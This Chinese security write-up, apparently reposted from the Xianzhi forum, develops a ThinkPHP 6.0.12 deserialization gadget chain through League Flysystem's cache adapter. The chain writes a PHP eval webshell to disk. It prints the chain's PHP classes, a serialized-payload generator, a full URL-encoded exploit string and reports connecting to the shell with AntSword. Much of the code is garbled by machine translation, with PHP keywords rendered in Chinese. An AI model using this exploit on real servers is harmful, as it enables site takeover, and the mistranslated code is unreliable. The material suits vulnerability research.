tp框架6.0.12是LTS版本,长期维护,所以,还有一些钻研,因此也是心血来潮试验了一番,有发师傅为RCE的poc链,因为学习看到6.0.9的时候看到过getshell的,所以想着把这个版本的getshell也找一下,试着写这个文章,请各位师傅多指点。
想想php框架的基本都用composer下载,虽然比复制粘贴步骤有点多,但是如何也方便
具体安装composer就不用在这里赘述了,看这里学习https://www.phpcomposer.com/(中国站镜像
安装命令:composer create-project topthink/think tp6 6.0.12
如下图:安装完毕
入口点,__destruct()
一切都是为了开展下一步行动的执行
下面的图,但是有很多的目标可能是:输入的目标只有一个,下面要知道所有的类,下面要知道
他们真正需要输入的类是什么等,这样看入口就多了。
先大概捋抓方法类调用,可以看到抽象缓存类的解析方法中,调用
中并没有保存方法该保存的类,其实是类调用保存
通过搜索子类,找到下图:
搜索语句:extends AbstractCache
进一步操作这个适配器有一个保存方法,而且,看方法结构就可以断定是一个写文件的。
通过直接的持续有方法,因为适配器有写方法,我们要写一个类,
当在范围内浏览的时候发现,class Local extends AbstractAdapter 的写,直接就调用写文件的函数了。
函数解决了,整个链条应该就通顺了:
整体的流程如下图:大图更清晰的写
入口部分如下:
//入口点位置:namespace League\Flysystem\Cached\Storage { abstract class AbstractCache { // 属性值为假,才可以调用该保存方法protected $autosave = false; // 语句代码,也是最后写入文件的 protected $cache = [' <?php eval ( $_POST [ \ '' . 'yyds' . '\']);?>' ];
受保护的 $complete = [];
public function cleanContents ( array $contents )
{
$cachedProperties = array_flip ([
'path' , 'dirname' , 'basename' , 'extension' , 'filename' ,
'size' , 'mimetype' , 'visibility' , 'timestamp' , '类型' ,
'md5' ,
]);
foreach ( $contents as $path => $object ) {
if ( is_array ( $object )) {
$contents [ $path ] = array_intersect_key ( $object , $cachedProperties );
}
}
返回 $ 内容;
}
public function __destruct ()
{
//autoSave 参数为false
if ( ! $this -> autosave ) {
$this -> save ();
}
}
}
使用 League\Flysystem\AdapterInterface ;
使用 League\Flysystem\Config ;
class Adapter extends AbstractCache
{
// 写,就是我们要使用方法的类
protected $adapter ;
受保护的 $expire = null ;
//文件名,写入文件的文件名
protected $file = 'abcd.php' ;
public function __construct ( $local )
{
//方便生成的属性为local类对象,所以直接写到构造方法里了
$this -> adapter = $local ;
}
public function getForStorage ()
{
//不用担心这个函数,它的内容没有把我们的写入的怎么地
$ cleaned = $this -> cleanContents ( $this -> cache );
返回 json_encode ([ $cleaned , $this -> complete , $this -> expire ]);
}
公共 函数 保存()
{
$config = 新 配置(); //为了方便,这个参数可以随便写,
//但是顺便写下,下面的定义的部分记得把传参约定的类型去掉(如果一下php7过不了)
$ content = $this -> getForStorage () ;
if ( $this ->适配器-> has ( $this -> file )) {
$this ->适配器-> update ( $this -> file , $contents , $config );
} else {
$this ->适配器->写入( $this -> file , $contents , $config );
}
}
} }
本地类的方法:
命名空间联盟\Flysystem\Adapter { 抽象类 AbstractAdapter { 受保护 $pathPrefix; public function getPathPrefix() { return $this->pathPrefix; } 公共函数 applyPathPrefix($path) { 返回 $this->getPathPrefix() 。ltrim($path, '\\/'); } } 类本地扩展 AbstractAdapter { 保护 $permissionMap; 受保护的 $writeFlags; 公共函数有($path) { $location = $this->applyPathPrefix($path); 返回文件存在($位置); } 受保护的函数 ensureDirectory($root) { if ( !is_dir($root)) { $umask = umask(0); if ( [email protected]($root, $this->permissionMap['dir']['public'], true)) { $mkdirError = error_get_last(); } umask($umask); clearstatcache(false, $root); if ( !is_dir($root)) { $errorMessage = isset($mkdirError['message']) ?$mkdirError['message'] : ''; throw new Exception(sprintf('无法创建根目录“%s”。%s', $root, $errorMessage)); } } } public function$path, $content)//这个明确约定可以删除,以便方便{ // 这个 $ 类型的路径不是写这个$路径的文件名 ($config) ,不过要,所以,每次调用,写入文件的文件名换一下 $location = $this->applyPathPrefix($path); $this->ensureDirectory(目录名($location)); if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) { return false; } //省略部分,后面的直接代码不影响结构,所以删掉了 } } }
然后获取poc
命名空间{ 使用 League\Flysystem\Adapter\Local; 使用 League\Flysystem\Cached\Storage\Adapter; $本地=新本地(); echo urlencode(serialize((new Adapter($local))));}
然后写一个对象,调用反序列化:
公共函数 testuns() { unserialize(urldecode($_GET['yyds'])); }
访问链接:
http://www.tpstudy6012.com/index.php/index/testuns?yyds=O%3A39%3A%22League%5CFlysystem%5CCached%5CStorage%5CAdapter%22%3A6%3A%7Bs%3A10%3A%22% 00%2A%00adapter%22%3BO%3A30%3A%22League%5CFlysystem%5CAdapter%5CLocal%22%3A3%3A%7Bs%3A16%3A%22%00%2A%00permissionMap%22%3BN%3Bs%3A13% 3A%22%00%2A%00writeFlags%22%3BN%3Bs%3A13%3A%22%00%2A%00pathPrefix%22%3BN%3B%7Ds%3A9%3A%22%00%2A%00expire%22% 3BN%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A8%3A%22abcd.php%22%3Bs%3A11%3A%22%00%2A%00自动保存%22%3Bb%3A0% 3Bs%3A8%3A%22%00%2A%00cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A29%3A%22%3C%3Fphp+eval%28%24_POST%5B%27yyds%27% 5D%29%3B%3F%3E%22%3B%7Ds%3A11%3A%22%00%2A%00完成%22%3Ba%3A0%3A%7B%7D%7D
执行结果如下:
蚁剑也能连接成功:
来源:先知(https://xz.aliyun.com/t/11531#toc-0)
好文推荐